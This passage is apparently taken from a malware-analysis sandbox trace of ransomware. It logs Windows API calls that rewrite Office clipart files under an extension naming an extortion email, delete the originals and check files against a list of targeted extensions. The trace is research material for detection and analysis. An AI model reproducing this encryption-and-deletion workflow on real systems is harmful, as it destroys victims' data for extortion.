liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.057] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.058] GetLastError () returned 0x0 [0153.058] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4330, lpOverlapped=0x0) returned 1 [0153.059] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4340, lpOverlapped=0x0) returned 1 [0153.059] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.060] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.060] SetEndOfFile (hFile=0x33c) returned 1 [0153.060] CloseHandle (hObject=0x33c) returned 1 [0153.060] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.060] SetEndOfFile (hFile=0x38c) returned 1 [0153.061] CloseHandle (hObject=0x38c) returned 1 [0153.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0153.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.063] lstrlenW (lpString=".doc") returned 4 [0153.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.063] lstrlenW (lpString=".docx") returned 5 [0153.063] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.063] lstrlenW (lpString=".pdf") returned 4 [0153.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.063] lstrlenW (lpString=".xls") returned 4 [0153.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.063] lstrlenW (lpString=".xlsx") returned 5 [0153.063] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.063] lstrlenW (lpString=".ppt") returned 4 [0153.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.063] lstrlenW (lpString=".zip") returned 4 [0153.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.063] lstrlenW (lpString=".rar") returned 4 [0153.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.063] lstrlenW (lpString=".bz2") returned 4 [0153.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.063] lstrlenW (lpString=".7z") returned 3 [0153.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.063] lstrlenW (lpString=".dbf") returned 4 [0153.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.063] lstrlenW (lpString=".1cd") returned 4 [0153.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.064] lstrlenW (lpString=".jpg") returned 4 [0153.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.064] lstrlenW (lpString=".doc") returned 4 [0153.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString=".docx") returned 5 [0153.064] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.064] lstrlenW (lpString=".pdf") returned 4 [0153.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString=".xls") returned 4 [0153.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.064] lstrlenW (lpString=".xlsx") returned 5 [0153.064] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.064] lstrlenW (lpString=".ppt") returned 4 [0153.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.064] lstrlenW (lpString=".zip") returned 4 [0153.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.064] lstrlenW (lpString=".rar") returned 4 [0153.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString=".bz2") returned 4 [0153.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString=".7z") returned 3 [0153.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.064] lstrlenW (lpString=".dbf") returned 4 [0153.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.064] lstrlenW (lpString=".1cd") returned 4 [0153.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0153.065] lstrlenW (lpString=".jpg") returned 4 [0153.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.065] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.065] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.065] GetLastError () returned 0x0 [0153.065] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0153.066] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0153.067] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.067] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.067] SetEndOfFile (hFile=0x33c) returned 1 [0153.067] CloseHandle (hObject=0x33c) returned 1 [0153.067] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.068] SetEndOfFile (hFile=0x38c) returned 1 [0153.068] CloseHandle (hObject=0x38c) returned 1 [0153.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0153.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0153.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0153.069] lstrlenW (lpString=".doc") returned 4 [0153.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.367] lstrlenW (lpString=".docx") returned 5 [0153.367] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.367] lstrlenW (lpString=".pdf") returned 4 [0153.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.367] lstrlenW (lpString=".xls") returned 4 [0153.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.367] lstrlenW (lpString=".xlsx") returned 5 [0153.367] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.367] lstrlenW (lpString=".ppt") returned 4 [0153.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0153.368] lstrlenW (lpString=".zip") returned 4 [0153.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.368] lstrlenW (lpString=".rar") returned 4 [0153.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.368] lstrlenW (lpString=".bz2") returned 4 [0153.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.368] lstrlenW (lpString=".7z") returned 3 [0153.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0153.368] lstrlenW (lpString=".dbf") returned 4 [0153.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0153.368] lstrlenW (lpString=".1cd") returned 4 [0153.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0153.368] lstrlenW (lpString=".jpg") returned 4 [0153.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.368] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.368] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.392] GetLastError () returned 0x0 [0153.392] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2c18, lpOverlapped=0x0) returned 1 [0153.393] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2c20, lpOverlapped=0x0) returned 1 [0153.394] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.394] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.394] SetEndOfFile (hFile=0x348) returned 1 [0153.394] CloseHandle (hObject=0x348) returned 1 [0153.395] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.395] SetEndOfFile (hFile=0x358) returned 1 [0153.395] CloseHandle (hObject=0x358) returned 1 [0153.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0153.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0153.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0153.396] lstrlenW (lpString=".doc") returned 4 [0153.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.396] lstrlenW (lpString=".docx") returned 5 [0153.396] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.396] lstrlenW (lpString=".pdf") returned 4 [0153.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.396] lstrlenW (lpString=".xls") returned 4 [0153.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.396] lstrlenW (lpString=".xlsx") returned 5 [0153.396] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.396] lstrlenW (lpString=".ppt") returned 4 [0153.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0153.396] lstrlenW (lpString=".zip") returned 4 [0153.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.396] lstrlenW (lpString=".rar") returned 4 [0153.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.396] lstrlenW (lpString=".bz2") returned 4 [0153.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.396] lstrlenW (lpString=".7z") returned 3 [0153.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0153.396] lstrlenW (lpString=".dbf") returned 4 [0153.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0153.397] lstrlenW (lpString=".1cd") returned 4 [0153.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0153.397] lstrlenW (lpString=".jpg") returned 4 [0153.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.397] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.397] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.399] GetLastError () returned 0x0 [0153.399] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1984, lpOverlapped=0x0) returned 1 [0153.399] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1990, lpOverlapped=0x0) returned 1 [0153.400] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.400] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.400] SetEndOfFile (hFile=0x348) returned 1 [0153.400] CloseHandle (hObject=0x348) returned 1 [0153.400] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.401] SetEndOfFile (hFile=0x358) returned 1 [0153.401] CloseHandle (hObject=0x358) returned 1 [0153.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0153.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0153.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0153.402] lstrlenW (lpString=".doc") returned 4 [0153.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.402] lstrlenW (lpString=".docx") returned 5 [0153.402] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.402] lstrlenW (lpString=".pdf") returned 4 [0153.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.402] lstrlenW (lpString=".xls") returned 4 [0153.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.402] lstrlenW (lpString=".xlsx") returned 5 [0153.402] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.402] lstrlenW (lpString=".ppt") returned 4 [0153.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0153.402] lstrlenW (lpString=".zip") returned 4 [0153.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.402] lstrlenW (lpString=".rar") returned 4 [0153.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.402] lstrlenW (lpString=".bz2") returned 4 [0153.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.402] lstrlenW (lpString=".7z") returned 3 [0153.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0153.402] lstrlenW (lpString=".dbf") returned 4 [0153.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0153.403] lstrlenW (lpString=".1cd") returned 4 [0153.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0153.403] lstrlenW (lpString=".jpg") returned 4 [0153.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.403] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.403] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.405] GetLastError () returned 0x0 [0153.405] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1094, lpOverlapped=0x0) returned 1 [0153.406] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0153.408] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.408] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.408] SetEndOfFile (hFile=0x348) returned 1 [0153.408] CloseHandle (hObject=0x348) returned 1 [0153.408] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.408] SetEndOfFile (hFile=0x358) returned 1 [0153.409] CloseHandle (hObject=0x358) returned 1 [0153.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0153.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0153.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0153.410] lstrlenW (lpString=".doc") returned 4 [0153.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString=".docx") returned 5 [0153.410] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.410] lstrlenW (lpString=".pdf") returned 4 [0153.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString=".xls") returned 4 [0153.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.410] lstrlenW (lpString=".xlsx") returned 5 [0153.410] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.410] lstrlenW (lpString=".ppt") returned 4 [0153.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0153.410] lstrlenW (lpString=".zip") returned 4 [0153.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.410] lstrlenW (lpString=".rar") returned 4 [0153.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString=".bz2") returned 4 [0153.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString=".7z") returned 3 [0153.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0153.410] lstrlenW (lpString=".dbf") returned 4 [0153.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0153.410] lstrlenW (lpString=".1cd") returned 4 [0153.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0153.411] lstrlenW (lpString=".jpg") returned 4 [0153.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.411] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, 